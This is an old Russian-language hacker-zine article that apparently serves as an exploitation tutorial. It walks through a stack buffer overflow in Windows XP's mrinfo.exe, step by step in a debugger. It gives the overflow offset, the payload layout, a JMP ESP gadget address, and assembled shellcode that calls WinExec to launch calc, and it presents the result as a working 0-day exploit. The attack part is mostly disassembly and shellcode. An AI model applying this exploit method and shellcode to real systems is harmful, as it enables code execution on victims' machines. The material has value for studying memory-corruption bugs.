Страшен русский сервис, бессмысленный и беспощадный..

+--------------------------------------------------------------------------------------------------------------------------[release: 07.11.04]----+
|
|
|
|
|
|
|
  _|_|    _|_|_|    _|_|    _|_|_|    _|_|    _|  _|    _|  _|_|    _|_|_|      _|  _|    _|_|_|
_|      _|  _|  _|  _|  _|  _|        _|  _|      _|_|_|_|  _|  _|  _|        _|_|_|_|_|  _|    
_|      _|_|_|_|_|  _|  _|  _|_|      _|_|    _|  _| |  _|  _|_|    _|_|_|      _|  _|    _|_|_|
_|      _|  _|  _|  _|  _|  _|        _|      _|  _|    _|  _|          _|    _|_|_|_|_|      _|
  _|_|    _|_|_|    _|_|    _|_|_|    _|      _|  _|    _|  _|      _|_|_|      _|  _|    _|_|_|
|
|
|
|
|
|
|
+-------------------------------------------------------------------------------------------------------------------------------------------------------+
+-------------------------------------------------------------------[0x06: Stack]------------------------------------------------------------------+
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|

Все вы конечно читали статьи о том, как работает переполнение буфера. Одно плохо-обычно там описывается переполнение в тестовой программе.А это все-таки не честно, т.к. знаешь где ждать подвох. А вот если бы на живой программе попрактиковаться... Да будет так! Основы вы знаете,поэтому про переполнение я рассказывать не буду, а покажу как это делается на реальной программе,которая есть у каждого пользователя WindowsXP.

Наша программа - это mrinfo.exe При своем запуске она проверяет что ей передали в коммандной строке.Тут то мы ее и поймаем!Если передать ей параметр больше чем 56 символов - происходит классический stackoverflow.

Итак, начинаем.

Инструменты: OllyDBG, hiew

Запускаем OllyDBG, жмем F3, находим mrinfo.exe (\windows\system32\) и в поле arguments пишем 60 символов "a". Enter. F9 (Запускаем) и видим в строке статуса надпись:
Access violation when executing (61616161)
Оно :) Повторяем все с начала, но F9 не нажимаем. Вместо этого трассируем программу по F8 до адреса 01001A99:
01001A90   . FF75 DC        PUSH DWORD PTR SS:[EBP-24]
01001A93   . FF75 D8        PUSH DWORD PTR SS:[EBP-28]
01001A96   . FF75 D4        PUSH DWORD PTR SS:[EBP-2C]
01001A99   . E8 FFFBFFFF    CALL mrinfo.0100169D      <- тут жмем F7
заходим в этот CALL. Там идет инициализация программы, идем по F8 до:
01001718  |. 50             |PUSH EAX ; /Arg1 = 00262533 ASCII "aaa...aa"
01001719  |. E8 1C010000    |CALL mrinfo.0100183A       ; \mrinfo.0100183A
в CALL заходим по F7 и попадаем в то самое бажное место.приведу его полностью вместе с комментариями:
0100183A  /$ 55             PUSH EBP
0100183B  |. 8BEC           MOV EBP,ESP
0100183D  |. 83EC 34        SUB ESP,34  <- тут в стеке выделяется 52 байта
01001840  |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8] <- берем указатель на нашу строчку
01001843  |. 8A08           MOV CL,BYTE PTR DS:[EAX] <- берем первый символ
01001845  |. 56             PUSH ESI
01001846  |. 33F6           XOR ESI,ESI
01001848  |. 84C9           TEST CL,CL  <- проверяем на ноль (конец строки)
0100184A  |. 74 10          JE SHORT mrinfo.0100185C <- конец? - уходим нафиг
0100184C  |. 8D55 CC        LEA EDX,DWORD PTR SS:[EBP-34]
0100184F  |. 2BD0           SUB EDX,EAX
01001851  |> 880C02         /MOV BYTE PTR DS:[EDX+EAX],CL <-вот оно,сохраняем символ в стеке
01001854  |. 46             |INC ESI
01001855  |. 40             |INC EAX <- увеличиваем указатели
01001856  |. 8A08           |MOV CL,BYTE PTR DS:[EAX] <- берем следующий символ
01001858  |. 84C9           |TEST CL,CL <- проверяем на конец строки
0100185A  |.^75 F5          \JNZ SHORT mrinfo.01001851 <- не ноль? тогда еще один круг
0100185C  |> 806435 CC 00   AND BYTE PTR SS:[EBP+ESI-34],0
01001861  |. 8D45 CC        LEA EAX,DWORD PTR SS:[EBP-34]
01001864  |. 50             PUSH EAX                          ; /pAddr
01001865  |. FF15 3C100001  CALL DWORD PTR DS:[<&WS2_32.#11>] ; \inet_addr
0100186B  |. 83F8 FF        CMP EAX,-1
0100186E  |. 8945 08        MOV DWORD PTR SS:[EBP+8],EAX
01001871  |. 75 30          JNZ SHORT mrinfo.010018A3
01001873  |. 8D45 CC        LEA EAX,DWORD PTR SS:[EBP-34]
01001876  |. 50             PUSH EAX                          ;/Name
01001877  |. FF15 28100001  CALL DWORD PTR DS:[<&WS2_32.#52>] ;\gethostbyname
0100187D  |. 85C0           TEST EAX,EAX
0100187F  |. 74 1E          JE SHORT mrinfo.0100189F
01001881  |. 0FBF48 0A      MOVSX ECX,WORD PTR DS:[EAX+A]
01001885  |. 8B40 0C        MOV EAX,DWORD PTR DS:[EAX+C]
01001888  |. 8B30           MOV ESI,DWORD PTR DS:[EAX]
0100188A  |. 8BC1           MOV EAX,ECX
0100188C  |. 57             PUSH EDI
0100188D  |. C1E9 02        SHR ECX,2
01001890  |. 8D7D 08        LEA EDI,DWORD PTR SS:[EBP+8]
01001893  |. F3:A5          REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
01001895  |. 8BC8           MOV ECX,EAX
01001897  |. 83E1 03        AND ECX,3
0100189A  |. F3:A4          REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0100189C  |. 5F             POP EDI
0100189D  |. EB 04          JMP SHORT mrinfo.010018A3
0100189F  |> 834D 08 FF     OR DWORD PTR SS:[EBP+8],FFFFFFFF
010018A3  |> 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]
010018A6  |. 5E             POP ESI
010018A7  |. C9             LEAVE
010018A8  \. C2 0400        RETN 4
крутимся в этом цикле по F7 наблюдая какнаша строка подползает к адресу 06FD90 (тут хранится адрес возврата из процедуры=0100171E) и потом смотрим как последние 4 символа "а" затирают этот адрес :) и по F8 проходим до адреса 010018A8 и смотрим на регистр ESP, он равен 0006FD90. Теперь думаем, что нам надо. Надо нам чтоб возврат был на наш код. Возврат из процедуры забирает из стека 4 байта (увеличивает ESP на 4) плюс ко всему это не просто возврат, а RETN 4, т.е. он и еще 4 байта забирает. Значит имеем:

[56 символов "а"]+[4 байта адрес возврaта]+[лишние 4 байта]+[тут будет наш код]

После RETN 4 ESP будет указывать как раз на наш код (который впрочем нам еще предстоит написать). Нужно найти где-то в памяти команду JMP ESP. Опкод этой комманды - FF E4. Жмем Alt+m и в системных dll'ках ищем (ctrl+b). Находим где-то в глубине advapi32.dll по адресу 77DE2740.

Все, теперь беремся за шеллкод. Т.к. с этого бага толку мало, и дабы вы сами все попробовали то не будем заморачиваться на универсальность и сделаем все просто -запустим cacl.exe через WinApi WinExec. Найдем адрес этой апи (Ctrl+g вводим WinExec) и запомним его. Теперь создадим текстовый файл из 80-90 символов "а" и откроем его в hiew. Станем на 57й символ и введем 77DE2740 (в обратном порядке ессесно - 4027DE77). Пропустим 4 байта. Итак, апи WinExec требует для своей работы 2 параметра в стеке - адрес строки (что выполнить) и как выполнить (видимо или невидимо).Начинаем делать,избегая нулевых символов.
00000040: 33DB                         xor    ebx,ebx   ;делаем 0 в ebx
00000042: 53                           push   ebx       ;в стек этот 0
00000043: 6863616C63                   push   0636C6163 ;clac - перевернутый calc
00000048: 54                           push   esp       ;в стек содержимое esp
00000049: 43                           inc    ebx       ;увеличиваем ebx на 1
0000004A: 53                           push   ebx       ;в стек его
0000004B: 684D11867C                   push   07C86114D ;адрес Api WinExec
00000050: C3                           retn             ;возврат по последнему адресу
Работает этот код просто:сначала в регистре ebx получаем 0 и заталкиваем этот 0 в стек. По адресу на который указывает esp записывается этот 0 (4 байта) и esp уменьшается на 4. Это надо для того, чтоб строка "calc" заканчивалась нулем, иначе WinExec будет считать ее неправильной. Потом в стек заталкиваем 636C6163, он будет как раз перед нулями, которые мы туда затолкнули до этого. Т.к. полсе последней комманды push регистр esp уменьшился на 4 и длина calc тоже 4, то esp как раз указывает на строку "calc"+"0", поэтому esp мы тоже в стек отправляем. Потом в ebx получаем 1 (параметр для WinExec, который обозначает,что мы хотим увидеть то что запустим,он же - visible) и отправляем в стек. Последние наши действия - засунем в стек адрес WinExec и сделаем ret (который как известно берет адресс из стека и уменьшает его на этот адрес)

Все, сохраняем (F9).тепрь надо все это запустить.Для этого напишем маленикий скрипт, который будет вызывать mrinfo.exe с нашими параметрами - /files/shell.vbs

Все! :) Вот и готов наш первый sUp3r-m3g4-l33t-0day-spl01t.

(c) dMNt//KoN 2004
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
+-----[content]-----------------------------------------------------------------------------------------------------------------------[mail us]-----+